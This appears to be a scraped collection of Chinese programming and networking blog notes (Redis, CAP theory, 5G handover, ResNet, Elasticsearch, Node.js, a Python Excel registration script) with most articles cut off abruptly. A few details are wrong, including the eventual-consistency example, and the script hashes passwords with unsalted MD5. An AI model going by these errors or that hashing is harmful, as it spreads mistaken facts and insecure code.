1. 什么是Redis?它主要用来什么的? Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。 2.Redis的基本数据结构类型 Redis有以下这五种基本类型: String(字符串)Hash(哈希)List(列表)Set(集合)zset(有序集合) 3. Redis为什么这么快? 3.1 基于内存存储实现 Redis基于内存存储实现的数据库,相对于数据存在磁盘的MySQL数据库,省去磁盘I/O的消耗。 3.2 合理的数据编码 譬如:String类型如果存储数字的话,是用int类型的编码 3.3 合理的线程模型 I/O 多路复用: IO多路复用其实就是一种同步IO模型,它实现了一个线程可以监视多个文件句柄;一旦某个文件句柄就绪,就能够通知应用程序进行相应的读写操作;而没有文件句柄就绪时,就会阻塞应用程序,交出cpu。单线程模型: Redis是单线程模型的,而单线程避免了CPU不必要的上下文切换和竞争锁的消耗。也正因为是单线程,如果某个命令执行过长(如hgetall命令),会造成阻塞。Redis是面向快速执行场景的数据库。所以要慎用如smembers和lrange、hgetall等命令。 IO多路复用程序(这里“多路”指的是多个网络连接,“复用”指的是复用同一个线程)会监听多个Socket,将Socket产生的事件放入队列中排队,事件分派器每次从队列中取出一个事件,把该事件交给对应的事件处理器进行处理。 Redis客户端对服务端的每次调用都经历了发送命令,执行命令,返回结果三个过程。其中执行命令阶段,由于Redis是单线程来处理命令的,所有每一条到达服务端的命令不会立刻执行,所有的命令都会进入一个队列中,然后逐个被执行。并且多个客户端发送的命令的执行顺序是不确定的。但是可以确定的是不会有两条命令被同时执行,不会产生并发问题,这就是Redis的单线程基本模型。 4. 什么是缓存击穿、缓存穿透、缓存雪崩? 4.1 缓存击穿问题 缓存击穿: 指热点key在某个时间点过期的时候,而恰好在这个时间点对这个Key有大量的并发请求过来,从而大量的请求打到db。缓存击穿和缓存雪崩区别在于击穿针对某一热点key缓存,雪崩则是很多key。 如何避免缓存击穿问题,解决方案就有两种: 使用互斥锁方案。缓存失效时,不是立即去加载db数据,而是先使用某些带成功返回的原子操作命令,如(edis的setnx()方法或者redisTemplate的setIfAbsent()方法)去操作,成功的时候,再去加载db数据库数据和设置缓存。否则就去重试获取缓存。“永不过期”,是指没有设置过期时间,但是热点数据快要过期时,异步线程去更新和设置过期时间。 4.2 缓存穿透问题 缓存穿透:指查询一个一定不存在的数据,由于缓存是不命中时需要从数据库查询,查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到数据库去查询,进而给数据库带来压力。 如何避免缓存穿透呢? 一般有三种方法: 如果是非法请求,我们在API入口,对参数进行校验,过滤非法值。如果查询数据库为空,我们可以给缓存设置个空值,或者默认值。使用布隆过滤器快速判断数据是否存在。即一个查询请求过来时,先通过布隆过滤器判断值是否存在,存在才继续往下查。 4.2 缓存雪奔问题 缓存雪奔: 指缓存中数据大批量到过期时间,而查询数据量巨大,请求都直接访问数据库,引起数据库压力过大甚至down机。 如何避免缓存雪崩问题: 缓存雪奔一般是由于大量数据同时过期造成的。Redis 故障宕机也可能引起缓存雪奔,这就需要构造Redis高可用集群。 5. Redis 过期策略和内存淘汰策略 5.1 Redis的过期策略 定时过期 每个设置过期时间的key都需要创建一个定时器,到过期时间就会立即对key进行清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的CPU资源去处理过期的数据,从而影响缓存的响应时间和吞吐量。惰性过期 只有当访问一个key时,才会判断该key是否已过期,过期则清除。该策略可以最大化地节省CPU资源,却对内存非常不友好。极端情况可能出现大量的过期key没有再次被访问,从而不会被清除,占用大量内存。定期过期 每隔一定的时间,会扫描一定数量的数据库的expires字典中一定数量的key,并清除其中已过期的key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得CPU和内存资源达到最优的平衡效果。 Redis中同时使用了惰性过期和定期过期两种过期策略。 5.2 Redis 内存淘汰策略(逐出算法) Redis使用内存存储数据,在执行每一个命令前,会调用freeMemoryIfNeeded()检测内存是否充足。如果内存不满足新加入数据的最低存储要求,redis要临时删除一些数据为当前指令清理存储空间。 5.2.1 常用的逐出算法: 5.2.2 影响数据逐出的相关配置 maxmemory (最大可使用内存): 占用物理内存的比例,默认值为0,表示不限制。生产环境中根据需求设定,通常设置在50%以上。maxmemory-samples ( 每次选取待删除数据的个数) : 选取数据时并不会全库扫描,导致严重的性能消耗,降低读写性能。因此采用随机获取数据的方式作为待检测删除数据。maxmemory-policy ( 删除策略) : 达到最大内存后的,对被挑选出来的数据进行删除的策略。 6.

分布式架构-CAP

分布式架构-CAP 分布式系统基础原则 分布式架构 集群,系统多节点 痛点:网络不可靠 维护各个节点的状态,保障各个节点之间数据的同步 1、概述: 布鲁尔定理对于一个分布式系统而言,不能同时满足以下三点: 一致性(consisteny)可用性(Availability)分区容错性(Partition tolerance) 最多只能同时满足以上两点,其中P是必须要保留的一致性:系统中的所有数据备份,在同一时刻是同样的值,所有节点在同一时间的数据完全一致,越多节点,数据同步越耗时(数据同步耗时), 强一致性:对于关系型DB,更新过的数据后续的访问都能看到。比如小明更新V0到V1,那么小华读取的时候也应该是V1。弱一致性:能容忍后续的部分或者全部访问不到。比如小明更新VO到V1,可以容忍那么小华读取的时候是V0。最终一致性:经过一段时间后要求能访问到更新后的数据。比如小明更新VO到V1,可以使得小华在一段时间之后读取的时候是V0。 可用性:每个请求都能在合理的时间内获得符合预期的响应(不保证获取的结果是最新的数据)。分区容错性:当节点之间的网络出现问题之后,系统依然能正常提供服务。单节点故障(必不可少),由于网络问题,将系统的成员隔离成了2个区域,互相无法知道对方的状态,系统中任意信息的丢失或失败不会影响系统的继续运作 2、分析CA\CP\AP 2.1、CA不可取(网障) 选择CA,放弃p分区容错性,假设有两个节点互相通信,当发生网络故障时,为了保证 C(一致性),那么就必须将系统锁住(进行数据同步),不允许任何写入操作,否则就会出现节点之间数据不一致了,此时如果有其他请求,系统是不可用的,违背了可用性A在网络正常情况下,CA是可以实现的没有p,不能叫分布式系统 2.2、CP架构: 当有客户端向节点A进行写入请求时(准备写入Message 2),节点A会不接收写入操作,导致写入失败,这样就保证了节点A和节点B的数据一致性,即保证了Consisteny(一致性)。如果有另一个客户端向B节点进行读请求的时候,B请求返回的是网络故障之前所保存的信息(Message 1),并且这个信息是与节点A一致的,是整个系统最后一次成功写入的信息,是能正常提供服务的,即保证了Partition tolerance(分区容错性)。必须在p的保证下,各个节点之间进行数据同步(耗时),此时服务不可用,违反了可用性,如果仍然对外提供服务,就又违背了一致性,故必须保证此时服务不可用zookeeperNacos 持久实例 2.3、AP架构 由于网络问题,节点A和节点B之前不能互相通讯。当有客户端(向节点A进行写入请求时(准备写入Message 2),节点A允许写入,请求操作成功。但此时,由于A和B节点之前无法通讯,所以B节点的数据还是旧的(Message 1)同步失败。当有客户端向B节点发起读请求时候,读到的数据是旧数据,与在A节点读到的数据不一致。但由于系统能照常提供服务,所以满足了Availability(可用性)要求。EUREKA,REDIS,Nacos 临时实例 3、注意事项; 3.1、注册中心的选择: Zookeeper:CP设计,保证了一致性(数据同步),集群搭建的时候,某个节点失效,则会进行选举行的leader,或者半数以上节点不可用,则无法提供服务,因此可用性没法满足—金融行业,数据同步,锁服务,此时服务不可用Eureka:AP原则,无主从节点,一个节点挂了,自动切换其他节点可以使用,去中心化–,数据有可能不一致 3.2、分布式锁 Redis分布式锁和Java锁的区别 分布式部署的话,Java锁是锁当前机器上的请求,无法对其他机器的请求进行加锁,因为Java锁用的是jvm的机制,只在本机生效即使项目就是单机部署的,那么在加锁的时候,Java锁的粒度会更大,Java锁会对接口的其他请求全部阻塞,但是分布式锁,只会对接口的某一个key进行请求的时候,加锁;Redis分布式锁有key的入参,如果同时key1和key2都来请求接口,那么Redis分布式锁可以同时执行,但是Java锁,不行,会阻塞key2的请求 Redis分布式锁和zk分布式锁怎么选择: Redis采用的是AP模式,zk采用的是CP模式Redis分布式锁简单粗暴,获取不到锁,就直接不断的重试,比较消费资源、性能Redis本身的设计就不是强一致性的,所以,在一些极端的场景下,会出现问题,但是大部分情况下,是不会遇到所谓的极端复杂场景,所以,使用Redis锁也是一个选择zk的设计就是强一致性,如果获取不到锁,就添加一个监听,不用一直轮询,但是zk也有其缺点,如果有较多的客户端频繁的申请加锁解锁,对zk集群的压力比较大 https://www.csdn.net/tags/MtTaMg0sNDc4OTcxLWJsb2cO0O0O.html 4、BASE理论 4.1、介绍: BASE是三个单词的缩写: Basically Available(基本可用)Soft state(软状态)Eventually consistent(最终一致性) 我们解决分布式事务,就是根据上述理论来实现。 4.2、例子: 下单减库存和扣款为例: 订单服务、库存服务、用户服务及他们对应的数据库就是分布式应用中的三个部分。CP:现在如果要满足事务的强一致性,就必须在订单服务数据库锁定的同时,对库存服务、用户服务数据资源同时锁定。等待三个服务业务全部处理完成,才可以释放资源。此时如果有其他请求想要操作被锁定的资源就会被阻塞,这样就是满足了CP。这就是强一致,弱可用AP:三个服务的对应数据库各自独立执行自己的业务,执行本地事务,不要求互相锁定资源。但是这个中间状态下,我们去访问数据库,可能遇到数据不一致的情况,不过我们需要做一些后补措施,保证在经过一段时间后,数据最终满足一致性。这就是高可用,但弱一致(最终一致)。 4.3、总结: 由上面的两种思想,延伸出了很多的分布式事务解决方案: XATCC可靠消息最终一致AT

基于N2接口的基本切换流程

非漫游下5G系统的架构模式(基于参考点) 基于N2接口的跨gNB基本切换流程概述 5GC中基于N2接口的跨gNB基本切换流程类似于EPC中的基于S1接口的跨eNodeB切换流程。(规范中叫Inter NG-RAN node N2 based handover流程) 主要触发过程如下: UE已经在5G注册并建立了一个PDU会话并且正在上网, 并且已经通过源gNB接入到5GC。UE发生位置移动, 离开源gNB服务的小区, 即将进入新的目标gNB所在的服务小区。此时UE发送测量报告给源gNB。gNB根据测量报告结果, 走N2接口通知源AMF发起本流程。 本场景中哪些网元发生了变化? gNB会变AMF可以不变、可以变。UPF可以变、可以不变。SMF不变。 N2基本切换流程涉及的协议 23502:5GC信令流程23501:5GC架构38300:NG-RAN概述29244:PFCP协议38413:NGAP协议29518:AMF服务29502:SMF服务38331:NR的RRC 3GPP中的N2-based切换流程 准备阶段 23.502/4.9.1.3.2 执行阶段 23.502/4.9.1.3.3 规范信令流程图中的“小遗憾” 规范中列出的信令流程图优点是大而全面,但也有小遗憾。主要体现在: 并没有结合具体的场景来介绍。例如图中的AMF和SMF是在哪里。拜访地归属地?图中没有加入协议和主要消息和参数的说明,而是通过图后的文字说明,不能一目了然。23.502只讲宏观上的流程,具体细节得人工打开多个规范对照学习。图中箭头上的文字其实并不是消息的名称,例如第4步写的是:Nsmf_PDUSession_UpdateSMContext Request, 但实际上真正的消息名称是HTTP2 POST:/nsmf-pdusession/v1/sm-contexts/smContextRef/modify。这容易引起学习的困惑(因为和抓包、信令log对不上)。规范是把多种场景画在一个图里来介绍的。这导致有些步骤是在某些特定场景下才有, 并非所有场景都有该步骤。例如准备阶段的AMF可能重选也可能不重选, 如果不发生重选,准备阶段的第2、3、12步以及执行阶段很多步骤都不会有。 场景定制背景说明 前提假设:由于5G现网可能要做大区制,具体以运营商规划为准,这里我们只是做一些猜想。 本信令流程我们假设的是用户坐高铁的场景,那大区制下本流程可能涉及三个省。我们假设西部大区内有云南、贵州等省,大区中心在四川。 猜想一:AMF、SMF都在大区中心,UPF在各省内部署 此场景下, 不需要T-AMF但需要选择T-UPF。UPF(PSA)提供N6接口,可以直达外部DN网络。通常用于边缘计算场景, 本场景为人网场景, 不一定有专用PSA因此本例我们假设源UPF和UPF(PSA)是合设的。这时候有些步骤是没有的,如准备阶段的第2、3、12步。 猜想二:AMF、UPF在各省内部署,SMF都在大区中心 此场景下, 需要选择T-AMF和T-UPF。此种部署方案在现网出现概率不高, 因为AMF和SMF通常部署在一起。但为更全面的讲解信令流程,我们基于猜想二来进行讲解。 附: PSA(PDU Session Anchor):PDU会话锚 PSA:是指在5g核心网络内终止pdu会话的n6接口的upf(用户平面功能)。 定制化介绍的N2基本切换流程 基于以上“小遗憾”对规范中基本N2切换流程进行了定制化。 主要包括: 加入场景介绍。并标明了接口的协议和主要消息、参数。结合国内EPC部署经验, 去掉不太可能在5GC中部署或早期部署的流程,使之更接近国内运营商实际网络。 定制化的N2基本切换流程的场景如下: 假设用户乘坐高铁连续上网,到了跨省边界(云南→贵州)云南和贵州有各自的AMF、UPF和gNB。因为是跨省, 所以省间gNodeB之间可能没有Xn接口。只能通过N2完成切换。切换前, UE在云南已经建立了一个PDU会话, 由云南AMF、四川SMF和云南UPF服务。此时,高铁即将进入贵州境内,即到贵州的信号越来越好,和云南侧的信号越来越弱。UE发送测量报告给云南gNB, 并通过N2发给云南AMF触发了N2切换流程。 切换流程的通用三部曲 切换准备(资源预留)切换执行(赶人、、走人)切换完成(完全打通用户面通道) 准备阶段 执行和完成阶段 用户平面切换回顾与总结 注:由于本场景举例是不支持直接转发(即源gNodeB和目标gNB之间直接转发用户平面数据),因此各阶段的上下行数据是这样的: 切换前: 1 上行:UE→源gNB→源UPF→PSA→Internet 2 下行:Internet→PSA→源UPF→源gNB

Markdown学习笔记(六)之LaTex插入公式

Markdown学习笔记(六)之LaTex插入公式 这两天略忙,今天突然想起来这回事了,由于这部分的内容是同学手把手教我的,浅浅记录一下吧~ 想要详细了解的可以看看下面这个介绍的链接: 链接: 关于LaTex公式编辑的介绍 打算直接开始的就往下看—— 首先先把Markdown插入公式会用到的网站链接放在下面: 链接: LaTex公式编辑器 这个网站实在太方便了,简直为懒人设计,需要插入什么公式在上面选择好公式然后填入数据就好了。 用法: 举个例子: ①在LaTex编辑器上: ②将下面的式子复制到VScode上面,并以两个美元符号($)包含; $\prod_{1}^{n}\sqrt[3]{\frac{x}{x+1}}$ ③那么输出的就是这个公式: ∏ 1 n x x + 1 3 \prod_{1}^{n}\sqrt[3]{\frac{x}{x+1}} ∏1n​3x+1x​ ​ ④当想要实现输出公式居中的时候,就需要使用两个美元符号($)包含; $$\prod_{1}^{n}\sqrt[3]{\frac{x}{x+1}}$$ ⑤效果如下: ∏ 1 n x x + 1 3 \prod_{1}^{n}\sqrt[3]{\frac{x}{x+1}} 1∏n​3x+1x​ ​ BTW,想要补充的一个问题是(在上篇笔记中忘记说了): 在Markdown中使用emoji表情需要安装这个:Markdown Emoji 在Markdown中插入数学公式需要安装这个:Markdown+Math 🆗Markdown的学习到此结束,个人感觉其实可以早点学完,主要是我太拖拉了😫😫😫

【Markdown 常用操作】

1.常用快捷键 1.1文本样式 强调文本 (* 强调文本 * ) 强调文本( _强调文本 _) 加粗文本( ** 加粗文本**) 加粗文本( __ 加粗文本__) 标记文本(== 标记文本==) 删除文本 ( ~~ 删除文本~~) H2O is是液体。(H ~2 ~O is是液体。) 210 运算结果是 1024。(2 ^ 10 ^ 运算结果是 1024。) 1.2 插入操作 插入链接Ctrl + L! [ 描述 ] ( 路径 )插入代码Ctrl + K```+ 回车插入图片Ctrl + G! [ 描述 ] ( 路径 ) 1.3列表 有序列表Ctrl + O1.文字 2. 文字无序列表Ctrl + U* 文字 * 文字 计划任务 (- [ ] 计划任务 )

【pytorch】ResNet18、ResNet20、ResNet34、ResNet50网络结构与实现

文章目录 ResNet主体BasicBlockResNet18ResNet34ResNet20 Bottleneck BlockResNet50 ResNet到底解决了什么问题 选取经典的早期Pytorch官方实现代码进行分析 https://github.com/pytorch/vision/blob/9a481d0bec2700763a799ff148fe2e083b575441/torchvision/models/resnet.py 各种ResNet网络是由BasicBlock或者bottleneck构成的,它们是构成深度残差网络的基本模块 ResNet主体 ResNet的大部分各种结构是1层conv+4个block+1层fc class ResNet(nn.Module): def __init__(self, block, layers, zero_init_residual=False): super(ResNet, self).__init__() self.inplanes = 64 self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) self.fc = nn.

橘子学ES16之分词三大组件以及如何自己实现自己的分词器

本文来看一下ES的多字段特性,以及如何配置一个自定义的分词器。 一、多字段类型 多字段特性: 可以实现精确匹配。 可以使用不同的analyzer,就是搜索的时候是一个分词器,插入的时候是另一个分词器。 1、Exact Values && Full Text 精确值和全文检索值。精确值的意思就是不分词,不全文检索。当成mysql中的那种等值查询。全文文本值意思就是查询的时候走的是分词的路子,全文文本的匹配。 1.1、Exact Values 包括数字类型,日期类型,具体字符串类型(keyword类型),这几个类型在ES中是不分词的。 因为精确值不需要做分词的处理,所以ES为每一个精确值类型做索引的时候,不分词处理,就是简单的存进去一个倒排索引。不分词,存的是完整的词。 1.2、Full Text ES中的text类型走的就是Full Text的路子,是分词检索和索引的。 二、自定义分词器 当ES自带的分词器无法满足的时候,可以自定义分词器,通过自己组合不同的组件来实现不同的分词效果。 我们前面讲分词器的时候说过,ES中分词效果的实现是由三个组件实现的。分别是: Character Filters : 它是在Tokenizer之前对文本进行处理,例如增加删除以及替换文本字符,可以配置多个Character Filters 串行做处理,因为他处理了文本的内容,所以会影响Tokenizer的position和offset信息。 ES中内置了一些Character Filters分别是: HTML strip:去除html标签 Mapping:字符串替换 Pattern replace:正则匹配替换 Tokenizer: 他的作用是讲原始的文本按照一定的规则,切分为分词, ES内置的Tokenizer有:whitespace/standard/uax_url_email/pattern/keyword/path hierarchy 其中keyword不做任何处理,就是一个原样的。 也可以自己使用java开发插件,实现自己的Tokenizer。 Token Filter: 是将Tokenizer输出的单词(term)进行增加,修改,删除。 做一些后续处理,ES内置的Token Filter有 Lowercase /stop/synonym 分别是把大写字母转小写,增加停用词,增加近义词。 基于ES提供的这些内置组件,我们就可以在开发的时候自己定义自己的分析器实现对应你想要的效果。 下面我们就针对这些概念,自己实现一个自己想要的分词器。 1、去除html标签的分词组合 # 自己组装一个去除html标签的分词器效果 POST _analyze { "tokenizer": "keyword", "char_filter": ["html_strip"], "text": "<b>hello es</b>" } 注意我们这里就是看看测试效果,具体真的定义分词器不是在这里。类似做个单元测试。 keyword表示我们这个词hello es在索引的时候不做分词,插进去原样,取出来原样。 结果就是去掉了html标签。 { "

Flink 本地安装 & 构建Flink应用

Flink 本地安装 & 构建Flink应用 环境要求Flink 本地模式安装下载解压与启动退出 构建 Java 应用完整pom.xml静态计算实时计算 提交 Flink Job打包项目运行任务 环境要求 Maven 3.0.4 (or higher) Java 11 Flink 本地模式安装 下载 进入flink下载页面 https://flink.apache.org/zh/downloads.html 笔者选择的版本是1.15.1 若不想打开页面,可以直接使用下载链接 https://dlcdn.apache.org/flink/flink-1.15.1/flink-1.15.1-bin-scala_2.12.tgz 文件大小 435.6MB 需要等待一段时间… 选择 Apache Flink 1.15.1 for Scala 2.12 下载 注:这篇文章写时最新版本是 Apache Flink 1.15.1 解压与启动 解压 $ tar -xzf flink-1.15.1-bin-scala_2.12.tgz $ cd flink-1.15.1 启动 $ ./bin/start-cluster.sh Starting cluster. Starting standalonesession daemon on host. Starting taskexecutor daemon on host. 查看 flink 运行状态

java 自定义比较器用法

什么是比较器 比较器实质就是重载比较运算符比较器可以很好的应用在特殊标准的排序上比较器可以很好的应对在根据特殊标准排序的结构上代码变得异常容易,还用于范型编程 自己定义比较器是自己设置的比较类实现了 Comparator 接口,代码如下 public static class MySort implements Comparator<Student> { // 根据id降序排列, 如果id相同按照年龄升序排列 @Override public int compare(Student o1, Student o2) { return 0; } } 对于任何比较器都有以下规则 compare 方法里,遵循一个统一的规范返回负数的时候,认为第一个参数应该排在前面返回正数的时候,认为第二个参数应该排在前面返回 0 的时候,认为无所谓谁放在前面 例如:有个学生类,并且有name, id, age 三个属性 public class Student { String name; int id; int age; public Student(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } public String toString(){ return "name = "

Nodejs学习

node概念 前端运行环境(浏览器) 后端的运行环境(Node.js) nodejs是一个基于chrome V8引擎的的运行环境 终端常用 FS文件系统模块 提供一系列方法和属性来满足用户对文件的操作需求。 使用时需要导入 const fs=require('fs') //类似头文件 1、fs.readFile()读取文件 fs.readFile ( path ,options , callback( err, dataStr) ) 参数1:必选参数,字符串表示文件路径 参数2:可选参数,表示读取文件的编码格式 参数3:必选参数,读取成功后通过回调来拿读取结果(读取成功 err=null , 读取失败err为错误对象,dataStr为undefined) 2、fs.writeFile()写入文件 fs.writeFile ( path ,data ,options , callback( err) ) 参数1:必选参数,字符串表示文件路径 参数2:必选参数,写入内容 参数3:可选参数,以什么格式写入 参数3:必选参数,读取成功后通过回调来拿读取结果(写入成功 err=null , 写入失败err为错误对象) path路径模块 1、path.join():把多个路径片段拼接为完整路径 2、path.basename():从路径中获取文件名 第一个参数:必选路径名 第二个参数:要删除的文件扩展名 3、path.extname():获取路径中的文件扩展名 http模块 在网络节点中,负责消费资源的电脑叫做客户端,负责对外提供网络资源的电脑叫做服务器。 http模块,可以用来创建web服务器,把一台电脑变为web服务器,向外部提供web服务。 1、创建web服务器 1、导入http模块 2、创建web服务器实例 3、为服务器实例绑定request事件,监听客户端请求 4、启动服务器 2、req请求对象(客户端相关) 3、res响应对象(服务端相关) 4、根据url响应不同的html 1、获取请求的url地址 2、设置默认的相应内容为404 3、判断用户请求的是否为/或/index.html首页 4、判断用户请求的是否为/about.html关于页面 5、设置content-type响应头,防止乱码 6、使用res.end()把内容相应给客户端 模块化 优点 提高代码复用性提高代码可维护性实现按需加载 分类 内置模块 node提供的,包裹fs,path,http等自定义模块 用户自己定义的js文件第三方模块 需要下载的模块集合 ps:使用require加载模块,加载过程会执行模块中的代码

射频单位解析

1、射频电平单位dBW、dBm、dBmV、dBμV的换算关系 当需要表示系统中的一个功率(或电压)时,可利用电平来表示。系统中某一点的电平是指该点的功率(或电压)对某一基准功率(或电压)的分贝比。如下面式子所示,显然,基准功率(即P=P0)的电平为零。对同一个功率,选用不同基准功率P0(或电压U0)所得电平数值不同,后面要加上不同的单位。 若以1W为基准功率。 功率为P时,对应的电平为10 lg(P/1W),单位记为dBW(分贝 瓦)。例如功率为1W时,电平为0dBW;功率为 100W时,电平为20dBW;功率为100mW时,对应的电平为: 已知系统中某点的电压,也可用dBW来表示该点的电平。例如某输入端的电压为100mV,则其输入功率 : 对应的电平为: 若以1W为基准功率 功率为P时,对应的电平为10 lg(P/1W),单位记为dBW(分贝 瓦)。例如功率为1W时,电平为0dBW;功率为 100W时,电平为20dBW;功率为100mW时,对应的电平为: 已知系统中某点的电压,也可用dBW来表示该点的电平。例如某输入端的电压为100mV,则其输入功率 : 对应的电平为: 若以1mV作为基准电压 则电压为U时对应的电平为20lg(U/1mV),单位记为dBmV(分 贝毫伏)。例如电压为1V时,对应的电平为60dBmV;电压为1uV时,对应的电平为-60 dBmV ;功率为1mW时,电压: 对应的电平为 : 若以1uV为基准电压 电压为U时对应的电平为20lg(U/1uV),单位记为dBuV(分贝 微伏)。例如电压为1mV时,电平为60dBuV ;电压为100mV 时,电平为100dBuV ;功率为1mW时,电压 : 对应的电平为: 2、 四种单位之间的换算关系 电平的四个单位dBW、dBm、dBmV、dBμV之间有一定的换算关系,表所示左边的原单位变换为上边的新单位时需要增加的数值。利用表可以方便地把电平由一种单位化为另一种单位。例如要把115dBuV化为其它单位表示,可利用表中最后一行:化为dBW时用第一列数-138.75,即用原来的数加-138.75得-23.75,说明115dBμV相当于-23.75dBW;类似地,115dBuV相当于115-108.75=6.25dBm;相当于115-60=55dBmV。若把dBmV化为其它单位,则应用第三行;若把dBm化为其它单位,则应用 第二行;若把dBW化为其它单位,则应用第一行等等。 /dBW(新)dBm(新)dBmV(新)dBμV(新)dBW(原)0+30+78.75+138.75dBm(原)-300+48.75+108.75dBmV(原)-78.75-48.750+60dBμV(原)-138.75-108.75-600 在“小功率”系统中每个dB都非常重要,特别要记住“3dB法则”。 每增加或降低3dB,意味着增加一倍或降低一半的功率: -3 dB = 1/2 功率-6 dB = 1/4 功率+3 dB = 2x 功率+6 dB = 4x 功率 例如,100mW的无线发射功率为20dBm,而50mW的无线发射功率为17dBm,而200mW的发射功率为23dBm。 dB是一个表征相对值的值,纯粹的比值,只表示两个量的相对大小关系,没有单位,当考虑甲的功率相比于乙功率大或小多少个dB时 3、天线单位 在无线系统中,天线被用来把电流波转换成电磁波。无线电发射机输出的射频信号,通过馈线(电缆)输送到天线,由天线以电磁波形式辐射出去。电磁波到达接收地点后,由天线接收下来(仅仅接收很小很小一部分功率),并通过馈线送到无线电接收机。因此在无线网络的工程中,计算发射装置的发射功率与天线的辐射能力非常重要。在转换过程中天线对发射和接收的信号进行“放大”,这种能量放大的度量成为 “增益(Gain)”。 天线增益的度量单位为“dBi”。由于无线系统中的电磁波能量是由发射设备的发射能量和天线的放大叠加作用产生,因此度量发射能量最好同一度量-增益(dB),例如,发射设备的功率为100mW ,或 20dBm;天线的增益为10dBi,则: 发射总能量=发射功率(dBm)+天线增益(dBi) = 20dBm + 10dBi

25.消息订阅与发布——PubSub-js

1.什么是PubSub-js? PubSub.js是一个用Javascript编写的基于主题的发布/订阅库,这种方式的思想与全局事件总线很相似。 PubSubJS有同步解耦,所以主题是异步开发的。这有助于使你的程序保持可预测性,因为在消费者处理主题时,主题的发起者不会被阻止。 它包含以下操作: (1)订阅消息——对应绑定事件监听 (2)发布消息——分发事件 (3)取消消息订阅——解绑事件监听 2.主要特点 无依赖 同步解耦 ES3兼容。PubSub-js能够在任何可以执行JavaScript的地方运行。浏览器、服务器、电子阅读器、手机、游戏机 AMD/Common.JS模块支持 不修改订阅者(jquery自定义事件修改订阅者) 易于理解和使用 小于1kb压缩 3.安装PubSubJS 有几种方法可以获取PubSubJS 1.通过npm(npm install pubsub-js)安装 4.使用PubSubJS School组件 <template> <div class="school"> </div> </template> <script> import pubsub from 'pubsub-js' export default { name:'School', data() { return { } }, mounted() { this.pubId = pubsub.subscribe('hello',(msgName,data)=>{ console.log(this) console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data) }) }, beforeDestroy() { pubsub.unsubscribe(this.pubId) }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style> Student组件 <template> <div class="

十分钟带你入门Nodejs

前言: 我们去学习一样东西时,一定不可盲目去摸索,必须得有目标,学完之后,应该是知其然,知其所以然。ok话不多说,进入今天的主题。 学习nodejs需要掌握的前置知识:html css javaScript 一、什么是Node.js: 大家看到Nodejs中的js有没有快速联想到我们的javaScript,我们可能会猜想他们必定存在某种联系,那他们之间到底有什么联系呢?请先让我们先粗略的回想一下js的内容,脑子里面立马浮现出js中的东西如下: 看到上面的内容是不是感到很熟悉,但是要想知道它与nodejs之间的联系,我们得先了解一下javaScript是如何在浏览器中执行的。 其实我们知道每个浏览器都有自己的javaScript解析引擎,浏览器中的javaScript引擎负责来解析和执行我们待执行的js代码。那么js是怎么去操作我们的DOM 和 BOM 呢。 常见的浏览器引擎(V8 解析引擎性能最好): 原来每个浏览器中都提供有内置的BOM,DOM 这样的API函数,我们就可以根据这些内置的API函数编写出一些待执行的js代码,最后由我们的浏览器JavaScript解析引擎去解析执行。具体流程可看下图: 以上就简单介绍了一下我们的js是如何在浏览器中可以被运行并能操作DOM 和BOM 的原因。当然想了解更底层的东西,我们可以下去再查阅相关资料了解的更详细。 我们知道javaScript是在浏览器中的环境中去运行,去操作DOM 和 BOM 控制我们前端的一些动态效果的,让我们的网站能有动态效果。 前面大概解释了一下js如何去控制我们前端的效果,那nodejs和JavaScript到底是什么联系呢。 我们也回到最初的问题,Node.js是什么? 我们打开node的官网就能看到官网首页中第一句话: Node.js® 是一个基于 Chrome V8 引擎 的 JavaScript 运行时环境。 我们突然明白,原来nodejs,就是一个JavaScript的运行环境,这就是他们的关系,只不过他是后端的JavaScript运行环境罢了。 既然是一个js的运行环境,那得和浏览器相似,得有js解析引擎吧,得有相关的内置API函数吧。 没错这些还真的有,我们看看nodejs的运行环境如下图: 几乎和浏览器js解析引擎结构一模一样,只是node运行环境是直接基于V8的引擎,内置API和浏览器中的不同。我们当时学js在浏览器中去操作非常重要的内置API函数DOM 和 BOM,现在我们学nodejs同样的学习js去操作我们相关的内置API模块。 我们可以总结如下: 浏览器中的 JavaScript 学习路径: JavaScript 基础语法 + 浏览器内置 API(DOM + BOM) + 第三方库(jQuery、art-template 等) Node.js 的学习路径: JavaScript 基础语法 + Node.js 内置 API 模块(fs、path、http等)+ 第三方 API 模块(express、mysql 等) 二、安装Node.js 1.3 Node.

IDEA如何安装主题

进入这个网页 https://plugins.jetbrains.com/search?tags=Theme 随便选一个 点击右上角的get,然后找到页面底部的download把主题下载下来 进入IDEA,settings-plugins-齿轮-install plugin from disk,然后选择刚刚下载到电脑里面的主题就可以了。

Python编程--实现用户注册信息写入excel文件

操作系统:mac OS Monterey IDE: Pycharm 要求: 用户注册,将用户信息写入Excel,其中包含:用户名、密码、注册时间 三列。 实现代码如下: """ 用户注册,将用户信息写入Excel,其中包含:用户名、密码、注册时间 三列。 """ import os import hashlib from datetime import datetime from openpyxl import load_workbook from openpyxl import workbook BASE_DIR = os.path.dirname(os.path.abspath(__file__)) FILE_NAME = "UserInfo.xlsx" # 定义加密函数,对密码进行加密, 参数为用户密码 def md5(origin): hash_object = hashlib.md5() hash_object.update(origin.encode('utf-8')) return hash_object.hexdigest() # 定义注册信息函数,参数为用户名, 密码 def register(username, password): db_file_path = 